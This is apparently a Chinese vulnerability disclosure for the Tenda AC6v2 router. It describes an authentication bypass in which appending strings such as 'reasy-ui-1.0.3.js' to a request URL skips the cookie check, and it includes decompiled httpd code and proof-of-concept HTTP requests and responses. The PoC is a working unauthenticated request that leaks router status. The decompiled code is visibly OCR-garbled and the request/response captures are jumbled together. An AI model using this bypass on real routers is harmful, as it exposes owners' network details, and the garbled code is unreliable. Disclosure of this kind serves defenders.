# Tenda\_AC6v2旁路绕过漏洞

# 厂商

tenda

中国腾达

### 影响设备

Tenda\_AC6

https://www.tenda.com.cn/product/download/AC6.html

#### 固件下载

# 描述

Tenda\_AC6路由器可以通过构造url绕过cookie验证造成信息泄露,也可以配合其它其它漏洞扩大危害。

# 细节

在Tenda AC6的httpd二进制文件中判断cookie时若url带有以下任意的字符便会跳过认证

```
TOT ( I = 0, I / ) was strempt (const that /wioginoserino + >0 I, (const that /(al + +0/), +
strncpy(v26, haystack, 0xFFu);
vg1 = strchr(v26, 63);
if ( v21 )
  *v21 = 0;
|| strstr(haystack, "img/main-logo.png")
|| strstr(haystack, "reasy-ui-1.0.3.js")
  || !strncmp(haystack, "/favicon.ico", 0xCu)
  || !*(_DWORD *)(a1 + 152)
  !strncmp(haystack, "/kns-query", 0xAu)
!strncmp(haystack, "/wdinfo.php", 0xBu)
   || strlen(haystack) == 1 && *haystack == 47
  ! strncmp(haystack, "/redirect.html", 0xEu)
!! strncmp(haystack, "/goform/getRebootStatus", 0x17u)
!! strncmp(haystack, "/js/macro_config.js", 0x13u) )
  return 0;
if ( i >= 3 && !strncmp(haystack, "/loginerr.html", 0xEu) )
  return 0;
if ( strlen(v26) >= 4 )
  v22 = strchr(v26, 46);
  if ( v22 )
```

#### **POC**

#### 首选是cookie正确的现象

```
lerwest
                                                                           Response
                                                                          Pretty Raw Hex Render □ \n □
retty Raw Hex 🚍 \n 🖃
 POST /goform/GetRouterStatus HTTP/1.1
                                                                           1 HTTP/1.0 200 OK
 Host: 192.168.1.1
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:95.0)
                                                                           3 {
                                                                               "wl5gEn":"0",
"wl5gName":""
 Gecko/20100101 Firefox/95.0
 Accept: */*
                                                                                "wl 24gEn" : "0" ,
 Accept-Language: en-US, en; q=0.5
                                                                                "wl 24gName" : "
 Accept-Encoding: gzip, deflate
                                                                               "lineup": "0|0|0|0",
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
                                                                                "clientNum":0,
                                                                                "blackNum":0,
 Content-Length: 8
                                                                               "listNum":0,
"deviceName":",
"lanIP":"192.168.1.1",
"lanMAC":"1A:2A:69:87:E7:18",
 Origin: http://192.168.1.1
 Connection: close
 Referer:
 http://192.168.1.1/upnp_config.html?random=0.6354659383376744&
                                                                                "workMode":""
 Cookie: password=dbdtgb
                                                                                "apStatus": "2100001",
                                                                                "countryCode":"",
 upnpEn=1
                                                                                "wanInfo":[
                                                                         .
                                                                                    "wanStatus": "2100001",
                                                                                    "wanIp":"",
```

#### 没有cookie的现象

```
. .
Request [
                                                                            Response
Pretty Raw Hex □ \n □
                                                                           Pretty Raw Hex Render □ \n ≡
1 POST /goform/GetRouterStatus HTTP/1.1
                                                                            1 HTTP/1.0 302 Redirect
                                                                           2 Server: Http Server
3 Date: Tue Apr 5 19:28:56 2022
2 Host: 192.168.1.1
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0)
Gecko/20100101 Firefox/95.0
                                                                            4 Pragma: no-cache
4 Accept: */*
                                                                            5 Cache-Control: no-cache
5 Accept-Language: en-US, en; q=0.5
                                                                            6 Content-Type: text/html
Accept - Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
                                                                            7 Set-Cookie: password=dbdtgb; path=/
                                                                            8 Location: http://192.168.1.1/goform/GetRouterStatus
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 10
10 Origin: http://192.168.1.1
                                                                           10 <html>
                                                                                <head>
1 Connection: close
                                                                                </head>
2 Referer
                                                                                <body>
  http://192.168.1.1/upnp_config.html?random=0.6354659383376744&
                                                                                  This document has moved to a new <a href="
                                                                                  http://192.168.1.1/goform/GetRouterStatus">
                                                                                    location
5 upnpEn=1
                                                                         12
                                                                                  Please update your documents to reflect the new location.
                                                                                </body>
                                                                          13
                                                                              </html>
                                                                          14
                                                                          15
```

使用漏洞绕过cookie产生现象

```
. = =
 Request
                                                                                                                                                          Response
 Pretty Raw Hex 등 \n =
                                                                                                                                                         1 POST /goform/GetRouterStatus?reasy-ui-1.0.3.js HTTP/1.1 2 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0)
                                                                                                                                                          1 HTTP/1.0 200 OK
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0)
Gecko/20100101 Firefox/95.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 10
10 Origin: http://192.168.1.1
11 Connection: close
12 Referer:
                                                                                                                                                                   "wl 5gEn":"0",
"wl 5gName":"",
"wl 24gEn":"0",
"wl 24gName":""
                                                                                                                                                                   "lineup":"0|0|0|0",
"clientNum":0,
"blackNum":0,
                                                                                                                                                                  "blackNum":0,
"listNum":0,
"deviceName":"",
"lanIP":"192.168.1.1",
"lanMAC":"1A:2A:69:87:E7:18",
"workMode":"",
"apStatus":"2100001",
"countryCode":"",
"wanInfo":[
     http://192.168.1.1/upnp_config.html?random=0.6354659383376744&
L4
L5 upnpEn=1
                                                                                                                                                                            "wanStatus":"2100001",
                                                                                                                                                                            "wanIp":",
"wanUploadSpeed":"0",
"wanDownloadSpeed":"0"
                                                                                                                                                                            "wanStatus":"2100001",
                                                                                                                                                                             "wanIp"
                                                                                                                                                                            "wanUploadSpeed":"",
"wanDownloadSpeed":""
```